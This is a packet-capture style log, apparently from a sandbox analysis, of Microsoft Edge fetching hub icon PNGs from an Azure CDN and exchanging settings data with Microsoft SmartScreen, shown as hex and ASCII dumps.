2024-11-18 14:17:01 UTC	10197	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.9	49789	13.107.246.57	443	7776	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-18 14:17:02 UTC	438	OUT	GET /assets/edge_hub_apps_action_center_maximal_light.png/1.2.1/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-18 14:17:02 UTC	536	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 14:17:02 GMT Content-Type: image/png Content-Length: 1579 Connection: close Last-Modified: Fri, 03 Nov 2023 21:43:08 GMT ETag: 0x8DBDCB5DE99522A x-ms-request-id: a413ac11-a01e-006a-5a66-3834ac000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241118T141702Z-16547b76f7fw2955hC1DFWsptc000000069000000000pz1z Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 14:17:02 UTC	1579	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 05 c0 49 44 41 54 78 01 ed 58 4f 8b 5c 45 10 af 7a f3 66 66 15 c5 fd 00 42 66 f2 05 b2 22 c2 1e 54 d6 4f 90 15 c1 63 d8 e0 49 04 37 01 11 11 25 89 e0 d5 04 0f 1a f0 e0 e6 62 c4 cb 1e 44 50 21 b8 df 20 7b f0 4f 6e 1b 4f 8b 20 cc 7a 89 b3 ef 75 57 f9 ab ea 9e 37 cb 66 77 66 36 93 83 84 ad a4 d3 fd de eb 79 fd 7b bf fa 55 75 75 88 4e ed d4 9e 20 5b d9 dc ed 2d df de ed d1 63 34 a6 39 6c e5 fb c1 4a 54 39 2f 42 ab 22 d2 8b 91 54 a2 92 d4 91 63 90 6d 09 74 57 2a fd fc b7 77 9e df a6 47 b4 47 02 b8 f2 f3 60 29 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAaIDATxXO\EzffBf"TOcI7%bDP! {OnO zuW7fwf6y{UuuN [-c49lJT9/B"TcmtW*wGG`)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.9	49794	13.107.246.57	443	7776	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-18 14:17:02 UTC	431	OUT	GET /assets/edge_hub_apps_search_maximal_light.png/1.3.6/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-18 14:17:02 UTC	522	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 14:17:02 GMT Content-Type: image/png Content-Length: 1966 Connection: close Last-Modified: Fri, 03 Nov 2023 21:43:31 GMT ETag: 0x8DBDCB5EC122A94 x-ms-request-id: dd7a9b8c-901e-004b-5248-39599d000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241118T141702Z-164f84587bfsgfx9hC1DFWw1as00000005r000000000ftpn Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 69316365 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 14:17:02 UTC	1966	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 07 43 49 44 41 54 78 01 ed 97 5b 68 5c 75 1e c7 7f ff 73 f9 9f 49 d2 49 4f da 98 b4 6a d7 d9 c5 16 bc b0 4e c1 bd c8 6e d8 99 07 1f 74 1f 9a e0 2a 15 77 d7 06 0b 82 0f d5 3c 54 10 1f 3a 41 d0 2a 8a 2d 55 29 68 4d 14 1f 6a d3 92 3c 28 58 45 92 fa d0 0a 82 8e 48 14 6a 6b 53 d0 b4 21 4d e7 cc 64 6e 67 ce cd ef ef 64 4e 48 ed c5 74 d2 e8 4b 7f c3 9f ff b9 cd 39 9f f3 fd ff 6e 87 e8 ba 2d cd c4 62 2f 1c 1a 1a 4a 29 8a b2 c9 f3 bc 44 10 04 3c c8 71 1c 0b fb 59 8c af 71 6e a4 b7 b7 d7 a2 6b 6c bf 0a 38 3c 3c fc Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAaCIDATx[h\usIIOjNntw<T:A-U)hMj<(XEHjkS!MdngdNHtK9n-b/J)D<qYqnkl8<<

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.9	49791	13.107.246.57	443	7776	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-18 14:17:02 UTC	433	OUT	GET /assets/edge_hub_apps_shopping_maximal_light.png/1.4.0/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-18 14:17:02 UTC	543	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 14:17:02 GMT Content-Type: image/png Content-Length: 1751 Connection: close Last-Modified: Tue, 17 Oct 2023 00:34:33 GMT ETag: 0x8DBCEA8D5AACC85 x-ms-request-id: eed67de9-401e-0042-016b-394313000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241118T141702Z-164f84587bfrrmqdhC1DFWvu6s00000004f000000000eegq Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 69316365 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-18 14:17:02 UTC	1751	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 06 6c 49 44 41 54 78 01 ed 98 4d 6c 54 55 14 c7 cf 9d ce b4 52 09 42 85 b8 40 ed f3 23 44 37 0a b8 32 71 01 71 a1 89 1b dc 08 3b ab 0b 64 87 b8 30 84 10 3a c3 c2 a5 1a 57 b8 52 16 26 6e 8c 10 3f 91 c5 a0 a2 21 0d d1 c6 18 63 34 9a 91 b8 c0 40 6c a1 ed cc 7b ef 7e 1c ff e7 de fb e6 4d 3f a0 1f d4 e8 a2 17 5e de eb ed 9b f7 7e f7 7f ce f9 9f 3b 25 5a 1b 6b e3 bf 1d 8a 56 71 d4 cf f2 2e 36 34 ca 44 bb d8 11 15 07 71 cf 19 ff 71 ad 08 3f 3b 4b 13 4e bb 3f 74 27 1f cf 3a d4 38 71 68 5d eb 5f 03 3c 76 86 9f c7 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAalIDATxMlTURB@#D72qq;d0:WR&n?!c4@l{~M?^~;%ZkVq.64Dqq?;KN?t':8qh]_<v

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.9	49793	13.107.246.57	443	7776	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-18 14:17:02 UTC	433	OUT	GET /assets/edge_hub_apps_toolbox_maximal_light.png/1.5.13/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-18 14:17:02 UTC	536	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 14:17:02 GMT Content-Type: image/png Content-Length: 1427 Connection: close Last-Modified: Fri, 03 Nov 2023 21:43:36 GMT ETag: 0x8DBDCB5EF021F8E x-ms-request-id: 0c120ebd-f01e-005b-40ea-376f7b000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241118T141702Z-1866b5c5fbbtpjhjhC1DFWr6tw00000005t000000000ew7k Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 14:17:02 UTC	1427	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 05 28 49 44 41 54 78 01 ed 57 cd 6b 24 45 14 7f af 67 86 c4 5d cd 8e 9b 05 d1 3d ec e8 1f 20 5e 3d 28 eb 41 04 41 44 10 3c 66 d1 53 92 d3 42 40 72 da 11 84 5c b3 7f 80 24 39 48 40 d4 8b 17 2f b2 e2 1f a0 1e 25 a7 01 11 16 17 35 1f f3 d1 dd d5 55 cf 57 df d5 d3 eb 4e 5a f0 22 53 a1 52 9d 57 5d ef fd de ef 7d 74 05 60 39 96 63 39 96 e3 3f 1d 08 ff 62 1c 1f 1f df e6 e5 9e 52 ea 15 5e fb bc 02 11 99 a9 9f f5 e4 41 52 4a 74 7b df f3 7a 77 7b 7b fb 67 68 39 5a 03 3c 3a 3a da 40 c4 43 0f ea 1f 56 3d 34 38 e2 89 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAa(IDATxWk$Eg]= ^=(AAD<fSB@r\$9H@/%5UWNZ"SRW]}t`9c9?bR^ARJt{zw{{gh9Z<::@CV=48

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.9	49790	13.107.246.57	443	7776	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-18 14:17:02 UTC	430	OUT	GET /assets/edge_hub_apps_games_maximal_light.png/1.7.1/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-18 14:17:02 UTC	516	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 14:17:02 GMT Content-Type: image/png Content-Length: 2008 Connection: close Last-Modified: Tue, 10 Oct 2023 17:24:26 GMT ETag: 0x8DBC9B5C0C17219 x-ms-request-id: 70868d23-a01e-0007-67c4-399e82000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241118T141702Z-1866b5c5fbbfhwqqhC1DFW513800000005c0000000007hg4 Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_MISS Accept-Ranges: bytes
2024-11-18 14:17:02 UTC	2008	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 07 6d 49 44 41 54 78 01 ed 98 bf 6f 14 47 14 c7 df ec 9d 11 48 48 5c aa 94 de 74 74 18 45 a9 59 24 0a d2 24 54 91 a0 f1 39 44 24 45 24 ec 32 0d be 28 05 44 14 98 2a e9 7c 96 50 e4 26 32 11 2d 02 47 91 02 4d 64 a3 08 25 92 a5 70 fc 05 18 ff 38 df ed af 97 ef 77 76 66 bd 36 07 67 9b 58 69 18 69 34 b3 b3 bb b3 9f fb ce 7b 6f de 9c c8 bb f2 76 c5 c8 21 95 bf 66 35 4c 33 59 8a 33 6d e0 33 53 1f 7e 69 66 38 fe 74 56 c7 b2 54 1e 26 a9 34 f2 4c a6 3e fa ba 18 ff e3 96 36 7b 89 cc 6e f5 45 92 2c 9b f8 b8 55 6f 73 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAamIDATxoGHH\ttEY$$T9D$E$2(D*\|P&2-GMd%p8wvf6gXii4{ov!f5L3Y3m3S~if8tVT&4L>6{nE,Uos

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.9	49792	13.107.246.57	443	7776	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-18 14:17:02 UTC	422	OUT	GET /assets/edge_hub_apps_M365_light.png/1.7.32/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-18 14:17:02 UTC	543	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 14:17:02 GMT Content-Type: image/png Content-Length: 2229 Connection: close Last-Modified: Wed, 25 Oct 2023 19:48:24 GMT ETag: 0x8DBD59359A9E77B x-ms-request-id: 799c58f9-b01e-003a-4677-382ba4000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241118T141702Z-164f84587bffvwt9hC1DFW2ktw00000003kg00000000fq2d Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 69316365 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-18 14:17:02 UTC	2229	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 08 4a 49 44 41 54 78 01 ed 98 6d 88 5c 57 19 c7 9f e7 dc 7b 37 89 49 9a dd 6c 5e d6 96 c0 c4 36 a1 d5 2f 49 a1 92 22 ea 06 ac a4 41 21 05 41 2a e8 ee 16 a4 82 e0 26 62 a5 b5 92 99 f1 8b 2f 68 b3 fd 92 16 ad 64 fb 29 16 62 53 6d 68 17 15 b2 a2 ed 07 b1 6c a8 95 d6 97 74 36 a9 35 69 d2 90 dd 6d bb 9b 99 7b ce 79 fc 3f e7 dc d9 8d 99 24 b3 2f f9 d8 03 77 9e 7b ce dc b9 e7 77 ff cf cb 39 77 88 3e 6c 4b 6b 4c 37 a8 f5 ee 1d 2b a5 44 25 c2 47 9a d2 f8 c8 8f b6 8f d3 0d 68 4b 06 dc f1 8d df f7 ae cc ba cb 6c a8 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAaJIDATxm\W{7Il^6/I"A!A*&b/hd)bSmhlt65im{y?$/w{w9w>lKkL7+D%GhKl

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.9	49795	20.25.227.174	443	7776	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-18 14:17:02 UTC	699	OUT	POST /api/browser/edge/data/settings/3 HTTP/1.1 Host: data-edge.smartscreen.microsoft.com Connection: keep-alive Content-Length: 1114 Accept: application/octet-stream;application/x-patch-bsdiff; Authorization: SmartScreenHash eyJhdXRoSWQiOiI0MWE0MzhiYy0xMjQ5LTQzZDMtYTI2ZC02OWNkNjJjMDgzMTciLCAia2V5IjoiNXUzbURLSFlLKzNzckd4LzBpSEpVQT09IiwgImhhc2giOiJwT3FjVGR0ZmFDVT0ifQ== Content-Type: application/json; charset=utf-8 If-None-Match: "2.0-0" Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br
2024-11-18 14:17:02 UTC	1114	OUT	Data Raw: 7b 22 69 64 65 6e 74 69 74 79 22 3a 7b 22 75 73 65 72 22 3a 7b 22 6c 6f 63 61 6c 65 22 3a 22 65 6e 2d 47 42 22 7d 2c 22 64 65 76 69 63 65 22 3a 7b 22 69 64 22 3a 6e 75 6c 6c 2c 22 63 75 73 74 6f 6d 49 64 22 3a 6e 75 6c 6c 2c 22 6f 6e 6c 69 6e 65 49 64 54 69 63 6b 65 74 22 3a 22 74 3d 47 77 41 57 41 64 39 74 42 41 41 55 61 6e 50 58 4e 73 70 50 47 6c 43 51 4a 6d 46 67 65 2b 54 4b 36 55 38 36 57 57 55 4f 5a 67 41 41 45 43 76 55 45 4a 43 48 2f 70 43 52 6d 2b 46 4b 5a 47 47 41 52 48 7a 67 41 43 32 4f 46 44 71 68 2f 69 72 6a 59 59 30 67 50 44 5a 37 7a 50 34 69 47 65 4b 56 4d 6b 42 36 79 69 6a 4d 48 49 46 71 45 45 57 64 2f 4f 5a 32 4a 30 68 73 6b 79 31 44 55 54 64 61 31 49 37 70 63 31 52 6b 4d 31 58 4d 65 5a 36 6b 54 77 47 52 6e 35 42 54 4b 61 30 63 56 6d 47 44 Data Ascii: {"identity":{"user":{"locale":"en-GB"},"device":{"id":null,"customId":null,"onlineIdTicket":"t=GwAWAd9tBAAUanPXNspPGlCQJmFge+TK6U86WWUOZgAAECvUEJCH/pCRm+FKZGGARHzgAC2OFDqh/irjYY0gPDZ7zP4iGeKVMkB6yijMHIFqEEWd/OZ2J0hsky1DUTda1I7pc1RkM1XMeZ6kTwGRn5BTKa0cVmGD
2024-11-18 14:17:03 UTC	302	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 14:17:02 GMT Content-Type: application/octet-stream Content-Length: 130439 Connection: close Server: Kestrel ETag: "2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1" Request-Context: appId=cid-v1:46ea1a4d-29cb-4e7e-a1ff-735721467fe3
2024-11-18 14:17:03 UTC	16082	IN	Data Raw: 7b 0d 0a 20 20 22 67 65 6f 69 64 4d 61 70 73 22 3a 20 7b 0d 0a 20 20 20 20 22 61 75 22 3a 20 22 68 74 74 70 73 3a 2f 2f 61 75 73 74 72 61 6c 69 61 2e 73 6d 61 72 74 73 63 72 65 65 6e 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 22 2c 0d 0a 20 20 20 20 22 63 68 22 3a 20 22 68 74 74 70 73 3a 2f 2f 73 77 69 74 7a 65 72 6c 61 6e 64 2e 73 6d 61 72 74 73 63 72 65 65 6e 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 22 2c 0d 0a 20 20 20 20 22 65 75 22 3a 20 22 68 74 74 70 73 3a 2f 2f 65 75 72 6f 70 65 2e 73 6d 61 72 74 73 63 72 65 65 6e 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 22 2c 0d 0a 20 20 20 20 22 66 66 6c 34 22 3a 20 22 68 74 74 70 73 3a 2f 2f 75 6e 69 74 65 64 73 74 61 74 65 73 31 2e 73 73 2e 77 64 2e 6d 69 63 72 6f 73 6f 66 74 2e 75 73 2f 22 2c 0d 0a Data Ascii: { "geoidMaps": { "au": "https://australia.smartscreen.microsoft.com/", "ch": "https://switzerland.smartscreen.microsoft.com/", "eu": "https://europe.smartscreen.microsoft.com/", "ffl4": "https://unitedstates1.ss.wd.microsoft.us/",
2024-11-18 14:17:03 UTC	16384	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 30 39 63 34 37 36 32 37 62 63 35 33 33 62 35 39 32 34 61 30 35 35 61 30 34 62 63 34 63 33 33 65 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 39 2e 35 38 33 34 34 30 31 37 37 34 34 37 38 34 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 65 36 33 34 65 62 32 30 64 62 35 30 38 65 33 61 33 31 62 36 31 34 38 31 61 32 35 31 62 66 39 33 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 2d 30 2e 33 33 37 30 36 38 35 39 32 37 38 32 37 33 35 0d 0a 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: { "key": "09c47627bc533b5924a055a04bc4c33e", "value": 9.58344017744784 }, { "key": "e634eb20db508e3a31b61481a251bf93", "value": -0.337068592782735
2024-11-18 14:17:03 UTC	16384	IN	Data Raw: 30 37 37 37 34 37 33 33 30 39 35 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 31 32 62 62 65 66 63 30 35 64 35 31 34 32 65 37 65 62 36 38 36 66 61 64 38 64 65 61 39 32 31 31 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 2d 31 2e 30 35 37 31 37 37 35 33 31 31 38 30 39 34 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 63 65 35 66 62 38 64 66 31 32 35 61 34 37 32 31 64 31 64 66 33 32 38 62 63 36 66 32 64 64 65 61 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a Data Ascii: 07774733095 }, { "key": "12bbefc05d5142e7eb686fad8dea9211", "value": -1.05717753118094 }, { "key": "ce5fb8df125a4721d1df328bc6f2ddea", "value":
2024-11-18 14:17:03 UTC	16384	IN	Data Raw: 20 2d 31 2e 39 30 31 33 34 36 37 39 37 33 36 34 32 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 66 32 33 35 64 63 66 36 62 34 32 39 62 61 34 31 36 64 63 65 37 34 64 34 62 36 66 62 63 34 37 62 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 31 2e 32 36 30 31 38 31 31 38 35 36 30 38 38 34 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 63 38 66 31 37 64 37 34 30 33 61 63 35 66 66 32 38 39 36 61 37 31 33 61 37 31 37 35 65 64 31 39 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 Data Ascii: -1.9013467973642 }, { "key": "f235dcf6b429ba416dce74d4b6fbc47b", "value": 1.26018118560884 }, { "key": "c8f17d7403ac5ff2896a713a7175ed19", "va
2024-11-18 14:17:03 UTC	16384	IN	Data Raw: 36 62 64 32 65 65 33 36 63 30 33 66 36 66 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 35 2e 38 35 39 38 36 34 33 39 33 34 36 35 37 36 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 65 66 64 32 61 66 36 30 63 38 35 30 31 39 33 31 63 62 39 63 37 33 36 62 35 61 64 37 34 66 36 35 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 33 2e 39 35 36 39 39 35 33 35 33 36 34 30 30 33 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 32 63 38 34 38 35 34 38 64 34 36 30 63 Data Ascii: 6bd2ee36c03f6f", "value": 5.85986439346576 }, { "key": "efd2af60c8501931cb9c736b5ad74f65", "value": 3.95699535364003 }, { "key": "2c848548d460c
2024-11-18 14:17:03 UTC	16384	IN	Data Raw: 20 22 6b 65 79 22 3a 20 22 65 31 36 38 36 30 37 38 64 31 62 36 30 64 33 35 31 64 61 35 61 38 37 35 34 33 61 32 61 36 36 33 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 37 2e 35 30 36 36 35 35 32 34 32 36 32 35 35 31 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 33 61 33 34 31 37 66 35 66 32 30 61 30 33 61 39 38 39 37 33 36 38 39 38 38 37 66 62 37 32 61 32 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 2d 31 2e 37 34 39 32 32 35 31 37 36 34 32 37 39 34 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 